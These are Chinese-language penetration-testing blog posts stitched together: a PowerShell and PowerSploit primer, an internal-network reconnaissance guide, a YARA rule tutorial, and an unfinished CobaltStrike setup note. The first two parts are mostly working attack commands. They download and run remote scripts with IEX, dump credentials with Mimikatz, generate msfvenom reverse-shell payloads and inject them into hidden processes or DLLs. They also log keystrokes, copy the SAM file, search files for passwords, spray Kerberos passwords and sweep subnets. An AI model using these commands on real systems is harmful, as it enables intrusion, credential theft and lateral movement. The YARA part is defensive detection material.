文《Powershell & Powersploit 入門》由armyzer0團隊原創投稿安全脈搏,安全脈搏發表本文,如需要轉載,請先聯系安全脈搏授權;未經授權請勿轉載。
PowerShell 是運行在 Windows上實現系統和應用程序管理自動化的命令行腳本環境。你可以把它看成是命令行提示符 cmd.exe 的擴充,或是顛覆。Powershell 需要.NET環境的支持,同時支持.NET對象。其可讀性,易用性,可以位居當前所有 shell 之首。
當前 PowerShell 有四版本,分別為 1.0,2.0,3.0 ,4.0
安全脈搏上關于Powershell的文章非常多,參見這里:https://www.secpulse.com/archives/tag/powershell
PowerShell 簡介
PowerShell 腳本
* 本地權限繞過執行 PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
* 本地隱藏權限繞過執行腳本 PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive-NoProfile -WindowStyle Hidden(隱藏窗口) -File xxx.ps1
* 直接用IEX下載遠程的PS1腳本回來權限繞過執行 powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"
* 遠程代碼執行 IEX (New-Object
Net.WebClient).DownloadString(“http://<ip_address>/path/xxx.ps1”)
Powersploit
一款基于powershell的后滲透(Post-Exploitation)框架,集成大量滲透相關模塊和功能。
[https://github.com/mattifestation/PowerSploit][1]
##Linux下簡易安裝和搭建Powersploit(用于測試,請勿使用非法用途)
Linux git clone powerspolit
開啟Apache服務
搭建簡易可下載powersploit腳本的服務器
##Powersploit模塊簡介
* CodeExecution 在目標主機執行代碼
* ScriptModification 在目標主機上創建或修改腳本
* Persistence 后門腳本(持久性控制)
* AntivirusBypass 發現殺軟查殺特征
* Exfiltration 目標主機上的信息搜集工具
* Mayhem 藍屏等破壞性腳本
* Recon 以目標主機為跳板進行內網信息偵查
##Powersploit 模塊運用
Invoke-Shellcode 此模塊結合MSF使用可以達到意想不到的效果,在這理就不介紹。
先在目標主機安裝“Invoke-Shellcode”腳本,使用Get-Help + 腳本名可以查看使用方法:
命令格式:
IEX (New-Object Net.WebClient).DownloadString("http://IP Adress/CodeExecutio
n/Invoke--Shellcode.ps1")
一:在MSF里面使用reverse_https模塊進行反彈,設置如下
本來在Invoke-Shellcode直接使用以下這條命令進行反彈的:
Invoke-Shellcode -Payload windows/meterpreter/reverse_https –Lhost 192.168.146.129 -Lport 4444 -Force
但是Powersploit更新到了3.0, Invoke-Shellcode腳本沒有Lhost和Lport參數,所以我們需要用到另外一種方法實現。
使用msfvenom生成一個powershell腳本。
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.110.129 LPORT=4444 -f powershell -o /var/www/html/test
IEX(New-Object Net.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Invoke-Shellcode.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://192.168.110.129/test")
Invoke-Shellcode -Shellcode ($buf)
二:進程注入
首先創建一個隱藏的進程:
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
使用Get-Process命令查看當前進程,記住你剛剛創建的隱藏進程ID
然后使用Invoke-Shellcode腳本進行進程注入
Invoke-Shellcode -ProcessID 2384 -Shellcode ($buf)
要是你的Powersploit是2.2版本的那么可以直接使用以下命令
Invoke-Shellcode -ProcessID 2384 –Payload
windows/meterpreter/reverse_https -Lhost 192.168.100.129 -Lport 4444
三:DLL注入
Invoke-DLLInjection 是DLL注入腳本
首先下載安裝DLL注入腳本到目標機器
IEX (New-Object Net.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Inv
oke-DllInjection.ps1")
在MSF里面生成一個DLL注入腳本,然后下載DLL文件使用Invoke-DLLInjection腳本來實現DLL注入
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f dll –o /var/www/html/msf.dll
為什么使我們的注入更加隱蔽,我們開啟一個隱藏進程來進行DLL注入
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
Invoke-DllInjection -ProcessID 4080 -Dll .\msf.dll
Invoke-Portscan端口掃描
Invoke-Portscan -Hosts <IP Adress/Rangr> -Ports
Invoke-Mimikatz DUMP密碼(注意此腳本需要用管理員權限運行)
Invoke-Mimikatz –DumpCreds也可以直接運行
Get-Keystrokes 鍵盤記錄器
Get-Keystrokes -LogPath + <保存位置>
Invoke-NinjaCopy 萬能復制
Invoke-NinjaCopy -Path <需要復制的文件> -LocalDestination <復制文件保存位置>
像windows主機里有個數據庫SAM文件,里面數據很多有價值的信息,普通的COPY命令是無法復制的,使用萬能復制可以復制SAM文件
Invoke-ReverseDnsLookup DNS查詢(好像沒什么用- -!,望大家告訴我這玩意有什么用)
Invoke-ReverseDnsLookup -IpRange <IP_Address/Range>
Get-HttpStatus 網站目錄檢測(好像沒什么用)
Get-HttpStatus –Target <IP Address> + 字典 (如果遇到的是HTTPS的那么后面加-UseSSL,在其他端口的那么 –Port )
本文《Powershell & Powersploit 入門》由armyzer0團隊原創投稿安全脈搏,安全脈搏發表本文,如需要轉載,請先聯系安全脈搏授權;未經授權請勿轉載。
【安識科技,是一家專注于賬號安全、企業風險評估的技術型企業。旗下擁有基于云+端的自研產品多因素令牌、基于互聯網密碼泄露查詢的SaaS服務平臺、基于插件的主被動多種掃描的企業級漏洞檢測云平臺。】
【安全脈搏:分享技術、悅享品質。文章僅代表作者看法,如有不同觀點,歡迎添加安全脈搏微信號:SecPulse,進行交流。】
很久沒做內網了,溫習一下。希望正在學習安全的小伙伴不要踏入我初學內網的誤區。
先來談談我對內網的理解吧,不是技術的方向。
內網學的東西很多,很雜。當時我問了我的大哥,他給我的一句話確實影響我至今。我說內網就說信息收集,cmd命令能收集,powershell收集也很多,還有類似wmic,或者一些腳本語言寫的信息收集工具,太多了,這些都要學真的太浪費時間了。他是這么跟我說的,很多東西你要學一輩子都學不完,但是你把一個東西學好了,結果都是一樣的。確實是這么個道理,學習需要廣度,能讓你碰到不同的情況乃至極限情況你有解決問題的思路。學習需要深度,你能在正常情況下創造乃至開辟一條新的道路。所以說完全沒有必要什么命令都背什么命令都記得清清楚楚,最重要的是要有自己的一套滲透手法,能夠達到效果,就是好的。沒人在乎你的過程,除非你真的很6。好了。開始今天的主題。
內網這一塊不是我的擅長,但是也有幸參加過一些護網,做過一點內網滲透。總結性的來說說我的思路。
一般來說,我們拿了權限做的第一件事是維權,維權這一塊以后再說。因為現在很多時候涉及免殺,免殺這一塊我研究的不是很多。然后就會對當前主機進行信息收集。我就獻丑說一下自己的信息收集思路。可能命令不是很多,都是靠平時自己收集的,主要是提供一個思路,如何實現自動化并且不觸發告警,才是應該操心的。
(1)配置文件
如果是從web打進去的,配置文件是一定要找到,找到了數據庫的賬號密碼,如果是站庫分離可能會拿下第二臺,如果不是也能獲取數據庫的數據,或者說用來做密碼復用。配置文件一般就在web目錄找config等標志性文件。其中如果密碼存在加密的大眾系統可以試試去github找找有沒有解密腳本。自定義的加密可以嘗試找源碼進行破解。
(2)敏感文件
桌面是一定要看的,很多人有保存文件在桌面的習慣,特別是個人機。很有可能記錄了一些密碼信息或者其他網站的登錄賬號密碼信息,以及一些敏感文件。
(3)其他目錄
這種就是比較隨緣了,因為個人習慣不同,稍微有點安全的人可能不會放在桌面,放在D盤啊等地方。這種可能就不是很好找,但是也可以全局搜索文件名,文件內容包含passwd,user,password等字段的文件。回收站也可以看看。
下面放一些我常用的命令,來源于之前記錄的別人發的,但是原文找不到了。自己根據實際情況改。
dir %APPDATA%\Microsoft\Windows\Recent //查看最近打開的文檔
findstr /si password config.* *.ini *.txt *.properties //遞歸搜索后面文件的password字段
dir /a /s /b "*conf*" > 1.txt //遞歸查找當前目錄包含conf的文件
findstr /s /i /c:"Password" 目錄\*.txt //遞歸查找目錄下的txt中的oassword字段
for /r 目錄 %i in (account.docx,pwd.docx,login.docx,login*.xls) do @echo %i >> C:\Users\e0mlja\desktop\123.txt //遞歸查找目錄下的敏感文件輸出到桌面123.txt中
指定目錄搜索各類敏感文件
dir /a /s /b d:\"*.txt"
dir /a /s /b d:\"*.xml"
dir /a /s /b d:\"*.mdb"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.mdf"
dir /a /s /b d:\"*.eml"
dir /a /s /b d:\"*.pst"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"
收集各類賬號密碼信息
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
第一階段:計算機信息類
畢竟域環境多了一些拿域控,或者kerberos認證等等的東西,就還是分開吧。很多時候盲目地去找一些命令是徒勞無功的,最主要是你要清楚自己要做什么,針對性的作信息收集。這里都是說得手動的,工具類的會放到最后面。
(1)ip信息(主要判斷自己的位置已經確定能橫向的方向)
ipconfig /all 網卡信息
route print 查看路由表 看能到達的地方
arp -a 查看arp表 看緩存
hosts 文件
還有其他的可以自行去做去找,正常情況下這幾個命令也夠了,wmic ps那些也可以做到,但是沒必要,集成的現在太容易被殺了,其他工具也還是靠著平時自己積累。
(2)端口收集(主要是判斷開放了哪些端口,和哪些機器連通,有沒有后續利用的可能)
netstat-ano //一條就夠了,不需要太多的花里胡哨 也可以自己去根據習慣找一些其他的方式。還有一些簡化的比如查看特定狀態端口根據自己的需要去篩選。findstr命令等實現。
(3)進程收集(主要是看看開啟了哪些進程,管理員進程可能涉及提權,殺軟進程可能涉及免殺,還有一些第三方的進程可能涉及可以做權限維持,這種都是根據需要去確定的)
tasklist /svc //查看所有進程
tasklist /v //查看進程啟動的用戶
taskkill /f /PID //關閉某個pid的進程
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe //查看本機殺軟
對于防火墻配置一類的,我這里沒有涉及,是因為特殊情況下才會做。
(4)服務收集(主要是可能涉及一些提權,已經從服務中提取敏感信息比如說抓取密碼等,可以通過產品和進程去判斷)
wmic product get name,version
tasklist /svc
wmic service list brief //服務信息收集
(5)計劃任務 (涉及提權,權限維持等,也可能通過計劃任務發現腳本文件中可能存在敏感內容)
schtasks /query
(6)用戶收集(主要是對提權或者橫向移動做鋪墊)
net user 查看用戶
net localgroup Administrators 查看管理員組
whoami 當前用戶
(7)憑證收集
(1)hash mimikatz
(2)瀏覽器及第三方軟件密碼 (利用各種工具或自己寫)
(3)wifi密碼等
(4)rdp密碼
這一塊最常用的還是抓hash,肯定首推是mimikatz。不過要做好免殺,免殺的方式就不說了,之前測試一些腳本加載過某0還是沒有問題的,現在很久沒用過了不知道了。關于其他的一些比如xshell,瀏覽器密碼抓取的工具,就需要自己平時多收集了,當前有條件的自己寫也還是沒問題的。還要個人機上一些wifi密碼可能也有用,這個就看自己習慣了。
(8)其他收集(主要是一些共享啊之類的)
net share //查看共享
net use //查看ipc$
systeminfo //查看計算機信息(提權可能會用,也能判斷域環境已經操作系統版本)
wmic startup get command,caption 查看自啟動
wmic share get name,path,status 查看共享
net start 查看當前機器啟動的服務
cmdkey /l# 查看保存的憑證
域環境
工作組的環境比較單一,且鑒權都是在本地做,所以沒有太多的花里胡哨。域環境可能會麻煩一點,接下來我會從思路上去簡述信息收集,爭取能夠給大家一個比較清晰的腦圖,現在我們暫定我們的目標是域控。
(1)當我們拿到一個機器之后,肯定是先判斷域環境
(2)確實是域環境以后,要對本機做信息收集
(3)需要判斷域控
(4)鑒于有委派或者約束委派這些攻擊方式,可能會需要查找一些服務用戶,也就是spn相關。
(5)域環境中exchange的權限很高的,有經驗的老師傅可能會進來就找郵服,這一塊我沒有做過,就說一下我自己收集的。
(6)面試的時候會必問的問題,如果尋找域控,如何拿下域控,對于這些方法需要的前提,都是我們必須要進行收集的。
對于本機的收集上面重復的我就不多說了,注意一下下面的點就行了。
(1)ip收集
此時的ip收集我們需要關注一下dns,因為通常情況下,域控可能就是dns服務器。
(2)端口搜集
本機端口收集還是正常的和工作組一樣
(3)進程收集
此時的進程收集我們需要留意一下域管啟用的進程,如果能夠竊取hash,或者直接導出域管hash,基本已經意味著我們有域控權限了。
(4)服務收集
setspn -T domain -q */* //spn收集 后續能利用的太多了,搜索服務用戶,搜索域中存在的服務
(5)用戶與機器收集
wmic useraccount get /all 查看域用戶詳情
net user /domain ------> 查詢域用戶
net group /domain ------> 查詢域里面的工作組
net group "domain admins" /domain ------> 查詢域管理員用戶組
net localgroup administrators /domain ------> 登錄本機的域管理員
query user || qwinsta 查看在線用戶
net view ------> 查詢同一域內機器列表
net view /domain ------> 查詢域列表
(6)憑證收集
和上面一樣,只不過這里可以針對權限區分出來從目前的用戶看我們有什么權限
(7)其他收集
也是屬于撿垃圾了,雜七雜八的收集,沒想到,想到了再說。
第二階段:橫向信息收集
經過我們上面各個模塊的收集完成后,我們對我們當前計算機的情況已經有所了解了。該提權提權,改拿小本本記錄就記錄。現在進入第二階段了,橫向移動的收集。橫向我分為兩種,一種是定向橫向,比如我專門打郵服,或者專門打弱口令,只掃描特定端口。還有一種是全方位橫向,就是我對所有可達的ip端都進行探測,這種動靜就會比較大,但是橫向最主要其實也是收集ip和端口了。有web業務打web,有弱口令能ssh或者rdp就試試,ftp能匿名訪問也是分,redis未授權可能還能彈回來個shell。這里就八仙過海各顯神通了。我這里分為ip和端口進行收集來討論。
ip類
集成的工具最后再說,先說手動的。
常見的可能是利用腳本或者cmd命令進行收集。這里列舉幾個
1:ping
for /l %i in (1,1,255) do @ping 172.16.2.%i -w 1 -n 1|find /i "ttl="
2.powershell
1..255 | % {echo "192.168.158.$_"; ping -n 1 -w 100 192.168.158.$_} | Select-String ttl
3.集成腳本
@echo off
rem 內網存活段自動發現腳本 [Windows]
rem By Klion
rem 2020.7.1
setlocal enabledelayedexpansion
for /l %%i in (0,1,255) do (
for /l %%k in (0,1,255) do (
ping -w 1 -n 1 10.%%i.%%k.1 | findstr "TTL=" >nul || ping -w 1 -n 1 10.%%i.%%k.254 | findstr "TTL=" >nul
if !errorlevel! equ 0 (echo 10.%%i.%%k.0/24 is alive ! >> alive.txt ) else (echo 10.%%i.%%k.0/24 May be sleeping ! )
)
)
for /l %%s in (16,1,31) do (
for /l %%d in (0,1,255) do (
ping -n 1 -w 1 172.%%s.%%d.1 | findstr "TTL=" >nul || ping -w 1 -n 1 172.%%s.%%d.254 | findstr "TTL=" >nul
if !errorlevel! equ 0 (echo 172.%%s.%%d.0/24 is alive ! >> alive.txt ) else (echo 172.%%s.%%d.0/24 May be sleeping ! )
)
)
for /l %%t in (0,1,255) do (
ping -n 1 -w 1 192.168.%%t.1 | findstr "TTL=" >nul || ping -n 1 -w 1 192.168.%%t.254 | findstr "TTL=" >nul
if !errorlevel! equ 0 (echo 192.168.%%t.0/24 is alive ! >> alive.txt ) else (echo 192.168.%%t.0/24 May be sleeping ! )
)
4.自己利用python等寫一些掃描的腳本
5.利用arp,netBios,tcp,udp等協議探測
1.python
# This script runs on Python 3
import socket, threading
def TCP_connect(ip, port_number, delay, output):
TCPsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
TCPsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
TCPsock.settimeout(delay)
try:
TCPsock.connect((ip, port_number))
output[port_number] = 'Listening'
except:
output[port_number] = ''
def scan_ports(host_ip, delay):
threads = [] # To run TCP_connect concurrently
output = {} # For printing purposes
# Spawning threads to scan ports
for i in range(10000):
t = threading.Thread(target=TCP_connect, args=(host_ip, i, delay, output))
threads.append(t)
# Starting threads
for i in range(10000):
threads[i].start()
# Locking the script until all threads complete
for i in range(10000):
threads[i].join()
# Printing listening ports from small to large
for i in range(10000):
if output[i] == 'Listening':
print(str(i) + ': ' + output[i])
def main():
host_ip = input("Enter host IP: ")
delay = int(input("How many seconds the socket is going to wait until timeout: "))
scan_ports(host_ip, delay)
if __name__ == "__main__":
main()
2.powershell
24..25 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.1.119",$_)) "Port $_ is open!"} 2>$null
24..25 |% {echo "$_ is "; Test-NetConnection -Port $_ -InformationLevel "Quiet" 192.168.1.119}2>null
3.telnet
按照這種思路下來,我們只需要針對我們某個步驟,選擇我們理想的方式或者工具去實現,就能收集到很多的信息。而且思路清晰,明確自己下一步需要做什么。
1.用戶名枚舉(因為kerberos驗證的原因,非域情況下能夠枚舉域用戶,原理自己可以看一下,這里我沒有能力自己寫工具,就放一些工具鏈接)
msf:auxiliary/gather/kerberos_enumusers
nmap:Nmap –p 88 –script-args krb5-enum-users.realm=’[domain]’,userdb=[user list] [DC IP]
kerbrute:kerbrute_windows_amd64.exe userenum --dc ip -d 域名 user.txt
DomainPasswordSpray:
Get-DomainUserList -Domain 域名 -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
2.密碼噴射
kerbrute:kerbrute_windows_amd64.exe passwordspray --dc ip -d 域名 user.txt 密碼
nvoke-DomainPasswordSpray -Domain 域名 -UserList .\userlist.txt -Password '密碼
3.查找域控
nltest /DCLIST:GOD 查域控
Nslookup -type=SRV _ldap._tcp 查看域控主機名
net group “Domain Controllers” /domain 查看域控組內域控主機
net group “Domain Controllers” /domain 查看域控列表
net time /domain
nltest /dclist:[域名] 查看域控機器名
dsquery server 得到域控制器的IP
netdom query pdc
ipconfig /all 查看dns
掃描139等不常見但域控會開啟的端口
4.獲取域控的方法(這里不說釣魚欺騙類的這種,中繼后續都開了SMB簽名也不說吧)
(1).抓域管密碼橫向
(2).通過域管進程橫向
(3)利用已知漏洞(打印機,14068,zerologon等)
(4)委派攻擊
(5)利用第三方軟件如郵服等
(6)組策略做密碼復用
(7)金銀票據(主要用來做維權的,多學點沒錯,也寫在這里吧)
5.判斷域環境
net time /domain
ipconfig /all
systeminfo
net config workstation
用戶
用戶爆破
https://github.com/ropnop/kerbrute
用戶枚舉
https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
https://github.com/mubix/netview/
獲取服務用戶
kerberoast
GetUserSPNs.ps1
ip
(1)nbtscan.exe
(2)arpscan.exe
(3)ServerScan https://github.com/Adminisme/ServerScan
(4)msf模塊
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/netbios/nbname
端口
端口爆破
PortBrute https://github.com/awake1t/PortBrute
服務
MSF
auxiliary/scanner/smb/smb_version
auxiliary/scanner/ftp/ftp_version 發現ftp
auxiliary/scanner/ssh/ssh_version 發現ssh
auxiliary/scanner/telnet/telnet_version 發現telnet
auxiliary/scanner/mysql/mysql_version 發現mysql
密碼爆破
https://github.com/fireeye/gocrack
https://github.com/dafthack/DomainPasswordSpray
web掃描
https://github.com/broken5/bscan
https://github.com/phantom0301/PTscan
域與非域集合工具
(1)Seatbelt.exe
Seatbelt.exe -group=user -full 運行普通用戶權限檢查的模塊 -full返回輸出
Seatbelt.exe -group=all 運行所有模塊(需要管理員權限)
Seatbelt.exe -group=system #運行檢查系統相關的信息
Seatbelt.exe -group=misc #運行所有其他檢查(包括瀏覽器記錄)
Seatbelt.exe -group=chrome 運行瀏覽器歷史等模塊
(2)BloodHound
https://github.com/BloodHoundAD/BloodHound/releases
(3)WinPwn
https://github.com/S3cur3Th1sSh1t/WinPwn/
(4)domainTools
https://github.com/SkewwG/domainTools
(5)Rubeus.exe
https://github.com/GhostPack/Rubeus
(6)powerview && powersploit
(7)fscan
https://github.com/shadow1ng/fscan
(1)wmic
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html
(2)powershell
Function Get-InstalledSoftware{
<#
.SYNOPSIS
Gets a computers Name, Operating System,OS Architecture and all installed Software Name,Version and IdentifyingNumber.
Returns it all in a powershell object.
.EXAMPLE
Get-InstalledSoftware -computername localhost
.EXAMPLE
Get-InstalledSoftware -computername comp1,comp2,comp3
.EXAMPLE
Get-Content computers.txt | Get-InstalledSoftware | Export-Csv C:\SoftwareReport.csv
.PARAMETER computername
One or more computer names seperated by comma.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$true,ValueFromPipeline=$true)]
[string[]]$ComputerName
)
BEGIN{
}
PROCESS
{
foreach($computer in $ComputerName){
try {
$software = Get-WmiObject -Class Win32_Product -ComputerName $ComputerName -ErrorAction Stop
} catch {
Write-Host "$computer Offline"
}
$os = Get-WMIObject -Class win32_operatingsystem -ComputerName $ComputerName
$osname = ($os.Name).Split("|") | Select-Object -First 1
foreach($installed in $software){
$props = [ordered] @{
'ComputerName' = $os.PSComputerName;
'OperatingSystem' = $osname;
'Archtecture' = $os.OSArchitecture;
'Name' = $installed.Name;
'Version' = $installed.Version;
'Vendor' = $installed.Vendor;
'IdentifyingNumber' = $installed.IdentifyingNumber}
$obj = New-Object -TypeName psobject -Property $props
Write-Output $obj
}
}
}
END{
}
}
自動化方便是一回事,必然會帶來弊端。動靜大,易查殺等。腳本小子終究只是一時爽。最后還是要自己走安全開發自己寫工具,在特定的環境下能實現功能才行。就難得總結工具了,多培養培養思維多學習學習底層還是長久之道。
這篇文章只是拋磚引玉給大家提供一個思路,還有很多東西沒用收到。但是信息收集和漏洞利用總是相依相存的。比如委派,郵服這些。或者是需要一些漏洞利用鏈的時候。擴大自己的攻擊技術和攻擊面,了解新的攻擊方式應該是最重要的,可能一條路不同我換了一種攻擊方式,搜集一下需要實現的前置條件都滿足,自然也就打下來了。隨機應變。有些工具是之前收集的說實話都沒有用上過,所以工具在精在順手不在多。選擇合適自己的才最重要。參考文獻
福利
關注私我獲取更多【網絡安全學習攻略·資料】
首先,YARA規則是VT的開發人員發布的,用于同類樣本的批量檢索和查殺。
通過Yara引擎和我們編寫的Yara規則,可以快速對一批樣本進行掃描和識別,從而找到我們希望得到的樣本。
官方的github庫地址:https://github.com/VirusTotal/yara/releases
官方文檔說明:https://yara.readthedocs.io/en/v3.7.0/index.html
Yara的安裝非常簡單,在Windows操作系統下,我們可以直接在yara的github庫下載可執行文件到本地,配置環境變量即可用
可以看到,當前(2020-07-20)的最新版本是Yara4.0.2
這里下載yara-v3.11.0-994-win64.zip,下載到本地之后直接將壓縮包中了兩個exe解壓并到C:\Windows目錄下并分別重命名位yarac.exe和yara.exe
然后啟動cmd 直接輸入yara —help 即可查看yara的參數
在Mac下,可以直接使用pip工具或者brew直接安裝。
我是通過brew install yara的方式直接安裝的。安裝完成之后,使用方式也是一樣的。
現在,以官方提供的yara規則示例我們來看看yara可以做什么。官方給出的示例yara如下:
rule silent_banker : banker
{
meta:
description = "This is just an example"
thread_level = 3
in_the_wild = true
strings:
$a = {6A 40 68 00 30 00 00 6A 14 8D 91}
$b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}
$c = "UVODFRYSIHLNWPEJXQZAKCBGMT"
condition:
$a or $b or $c
}
首先,第一行的rule silent_banker : banker是聲明該規則用于檢出banker類型的樣本。
meta 后面的是一些描述信息,比如規則說明、作者信息等。
strings 定義了$a $b $c 兩個十六進制字符串(十六進制字符串用大括號括起來)和一個文本字符串(文本字符串直接用雙引號括起來)
最后condition 規定了匹配的條件,這里寫的是or,表明樣本中只要匹配到了$a $b $c 三個字符串中的任意一個,那么樣本就會被識別為banker
我們新建一個demo1.yara文件,然后將這部分內容復制進去。
然后在當前目錄下新建一個文件夾<111> 在該文件夾中分別存放三個文件,一個py文件,一個json文件和一個exe文件。
現在我們回到demo1.yara所在的目錄,執行yara demo1.yara 111/
執行完之后,沒有任何輸出,根據Unix內核的無回顯則運行成功原則,我們可以知道該指令已經成功執行。
而沒有輸出是因為我們的yara規則沒有命中111文件夾下的任何文件。于是我們修改規則如下:
我們增加了一個十六進制字符串$d 所匹配的值是4D 5A。 而4D 5A是PE文件(包括exe、dll等)的文件頭,也就是說一個正常的PE文件中是一定會包含4D 5A這個十六進制的數據的。
且我們在最后的condition中加入了or $d,表示如果$d條件滿足,樣本也可以成功識別。
demo1.yara保存之后我們重新對111文件夾下的文件進行掃描:
這里可以看到,yara規則已經成功識別到了111/svchost.exe文件命中了我們的yara特征,并且提掃描之后自動標記為silent_banker,這個silent_banker就是我們在最上面定義的檢出名稱。
現在我們將更多的PE文件拷貝到111文件夾下以及111文件夾下的子目錄中。
然后再次對111文件夾進行掃描
這里可以看到還是只有一條結果,于是我們通過yara —hlep查看一些幫助文檔:
-t, --tag=TAG print only rules tagged as TAG
-i, --identifier=IDENTIFIER print only rules named IDENTIFIER
-n, --negate print only not satisfied rules (negate)
-D, --print-module-data print module data
-g, --print-tags print tags
-m, --print-meta print metadata
-s, --print-strings print matching strings
-L, --print-string-length print length of matched strings
-e, --print-namespace print rules' namespace
-p, --threads=NUMBER use the specified NUMBER of threads to scan a directory
-l, --max-rules=NUMBER abort scanning after matching a NUMBER of rules
-d VAR=VALUE define external variable
-x MODULE=FILE pass FILE's content as extra data to MODULE
-a, --timeout=SECONDS abort scanning after the given number of SECONDS
-k, --stack-size=SLOTS set maximum stack size (default=16384)
-r, --recursive recursively search directories
-f, --fast-scan fast matching mode
-w, --no-warnings disable warnings
--fail-on-warnings fail on warnings
-v, --version show version information
-h, --help show this help and exit
這些參數很重要,我們可以翻譯了之后多看,多用
-t、 --tag=tag只打印標記為tag的規則
-i、 --identifier=identifier只打印名為identifier的規則
-n、 --negate只打印不滿足的規則(negate)
-D、 --打印模塊數據打印模塊數據
-g、 --打印標簽打印標簽
-m、 --打印元數據
-s、 --打印字符串打印匹配的字符串
-L、 --打印字符串長度打印匹配字符串的長度
-e、 --打印命名空間打印規則的命名空間
-p、 --threads=NUMBER使用指定的線程數掃描目錄
-l、 --max rules=NUMBER匹配多個規則后中止掃描
-d VAR=值定義外部變量
-x MODULE=文件將文件內容作為額外數據傳遞到模塊
-a、 --timeout=秒在給定秒數后中止掃描
-k、 --堆棧大小=插槽設置的最大堆棧大小(默認值=16384)
-r、 --遞歸遞歸搜索目錄
-f、 ——快速掃描快速匹配模式
-w、 --無警告禁用警告
--警告失敗警告失敗
-v、 --版本顯示版本信息
-h、 --help顯示此幫助并退出
這里可以看到 -r recursively search directories表示遞歸遍歷所有子目錄。于是我們重新運行,帶上-r 參數:yara -r demo1.yara 111/
這樣就可以對指定目錄進行遞歸掃描了。
我們還可以集合-r和-m參數,在掃描時輸出詳細信息:
通過上面的例子,我們對Yara有了一個大概的了解,接下來我們來看一下Yara的一些更方便的特性。我們上面提到,Yara可以匹配文本字符串、十六進制字符串。其實除了這兩種,Yara還支持正則表達式的寫法。
在上面,我們已經測試了十六進制字符串的匹配。匹配的方式是掃描文件是否包含了4D 5A。這里都不能算是一條規則,因為這條規則沒有意義。其實十六進制還包含了很多高級的寫法,包括通配符、可變長度等。這里空講無用,之后遇到比較好的樣本再做分享。
我們來測試一下字符串的寫法,我們新建一個demo2.yara,內容如下:
這條yara的規則很簡單,就是掃描的文件中是否包含了if name == ‘main‘:這個字符串,如果有,則將其標記為python_file
然后還是對111目錄進行掃描:
可以看到成功掃描到python文件。這里需要注意,我們在yara中直接寫字符串的話,是區分大小寫的,如果想要掃描時不區分大小寫,可以加入nocase關鍵字,比如:
接下來我們看看yara中的正則是如何寫的。Yara的正則其實和字符串寫法很類似,并且可以用在字符串上的特性都可以用在正則表達式中。
以匹配身份證號為例,我就直接以一個非常簡單粗暴的方式來匹配身份證,就是直接查看文件中是否包含了18位連續的數字(我這種匹配當然不標準,只是為了方便測試)。此外,我還加上了一個$peflag的標志條件,在condition的地方通過 and not 的方式過濾掉所有的PE文件。demo3.yara如下:
掃描結果如下:
這里出現了一個warning:demo3.yara(11): warning: $reg1 is slowing down scanning (critical!)
提示demo3.yara規則中的$reg1這個匹配條件寫的不好,會引起yara的性能下降。這是因為我們直接使用正則表達式瞎匹配,這樣肯定是不對的,因為如果掃描一個1M或是2M的腳本文件,這個yara規則一跑,基本上就會卡死。所以在書寫yara規則的時候,在可達成目的的情況下,也要考慮掃描的性能。關于yara的優化,我們在后面的實戰樣本中會提到。
CobaltStrike的安裝非常簡單,只需要在本機裝好JAVA環境,然后分別運行CobaltStrike的客戶端和服務器端即可。以3.14為例,3.14版本的CobaltStrike解壓后文件結構如下:
其中的teamserver就是CobaltStrike的服務器端,CobaltStrike文件就是客戶端。
